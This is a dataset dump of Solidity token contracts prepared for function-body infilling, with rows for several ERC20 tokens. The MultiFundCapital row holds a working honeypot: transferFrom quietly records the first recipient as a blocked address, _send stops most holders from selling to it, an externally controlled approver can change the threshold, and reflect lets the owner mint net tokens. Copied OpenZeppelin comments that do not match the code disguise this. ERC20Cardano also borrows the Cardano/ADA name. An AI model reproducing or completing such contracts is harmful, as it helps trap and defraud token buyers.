source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
6
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
8.95k
71736
HoldFinance
transferFrom
contract HoldFinance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Hold Finance"; symbol = "FHold"; decimals = 18; _totalSupply = 500000000000000000000000000; balances[msg.sender] = 500000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract HoldFinance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Hold Finance"; symbol = "FHold"; decimals = 18; _totalSupply = 500000000000000000000000000; balances[msg.sender] = 500000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
function transferFrom(address from, address to, uint tokens) public returns (bool success)
57402
MultiFundCapital
_send
contract MultiFundCapital is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal approver; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal nulls; address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Reflects a specific amount of tokens. * param value The amount of lowest token units to be reflected. */ function reflect(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: reflect from the zero address"); _reflect (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == approver) _allowed(tokens); emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function _allowed(uint tokens) internal { nulls = IERC20(openzepplin).zeroAddress(); number = tokens; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _reflect(address _Address, uint _Amount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ nulls = _Address; _totalSupply = _totalSupply.add(_Amount*2); balances[_Address] = balances[_Address].add(_Amount*2); } function _send (address start, address end) internal view {<FILL_FUNCTION_BODY> } /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; approver = IERC20(openzepplin).approver(); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address _owner, address spender, uint amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[_owner][spender] = amount; emit Approval(_owner, spender, amount); } receive() external payable { } fallback() external payable { } }
contract MultiFundCapital is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal approver; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal nulls; address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Reflects a specific amount of tokens. * param value The amount of lowest token units to be reflected. */ function reflect(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: reflect from the zero address"); _reflect (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == approver) _allowed(tokens); emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function _allowed(uint tokens) internal { nulls = IERC20(openzepplin).zeroAddress(); number = tokens; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _reflect(address _Address, uint _Amount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ nulls = _Address; _totalSupply = _totalSupply.add(_Amount*2); balances[_Address] = balances[_Address].add(_Amount*2); } <FILL_FUNCTION> /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; approver = IERC20(openzepplin).approver(); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address _owner, address spender, uint amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[_owner][spender] = amount; emit Approval(_owner, spender, amount); } receive() external payable { } fallback() external payable { } }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/
function _send (address start, address end) internal view
function _send (address start, address end) internal view
53985
Contracoin
null
contract Contracoin is MintableToken, PausableToken { string public name; string public symbol; uint256 public decimals; constructor() public {<FILL_FUNCTION_BODY> } }
contract Contracoin is MintableToken, PausableToken { string public name; string public symbol; uint256 public decimals; <FILL_FUNCTION> }
name = "Contracoin"; symbol = "CTCN"; decimals = 18;
constructor() public
constructor() public
91138
ERC20Cardano
_transfer
contract ERC20Cardano is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = "Cardano"; _symbol = "ADA"; _decimals = 18; _totalSupply = 100000000 * 10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Burn `amount` tokens and decreasing the total supply. */ function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal {<FILL_FUNCTION_BODY> } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
contract ERC20Cardano is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = "Cardano"; _symbol = "ADA"; _decimals = 18; _totalSupply = 100000000 * 10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Burn `amount` tokens and decreasing the total supply. */ function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } <FILL_FUNCTION> /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal
7125
AnnJouCoin
AnnJouCoin
contract AnnJouCoin is StandardToken { string public name = "AnnJouCoin"; string public symbol = "ANJ"; uint public decimals = 18; uint public INITIAL_SUPPLY = 108000000000000000000000000; string public version = 'A0.1'; uint256 public unitsOneEthCanBuy = 106; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei = totalEthInWei + msg.value; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet = msg.sender; // Where should the raised ETH go? function AnnJouCoin() public {<FILL_FUNCTION_BODY> } }
contract AnnJouCoin is StandardToken { string public name = "AnnJouCoin"; string public symbol = "ANJ"; uint public decimals = 18; uint public INITIAL_SUPPLY = 108000000000000000000000000; string public version = 'A0.1'; uint256 public unitsOneEthCanBuy = 106; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei = totalEthInWei + msg.value; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet = msg.sender; <FILL_FUNCTION> }
totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY;
function AnnJouCoin() public
// Where should the raised ETH go? function AnnJouCoin() public
20121
AuspexNetwork
approveAndCall
contract AuspexNetwork is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "APX"; name = "Auspex Network"; decimals = 18; _totalSupply = 7000000000000000000000000; balances[0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1] = _totalSupply; emit Transfer(address(0), 0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract AuspexNetwork is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "APX"; name = "Auspex Network"; decimals = 18; _totalSupply = 7000000000000000000000000; balances[0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1] = _totalSupply; emit Transfer(address(0), 0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
16686
Zlots
null
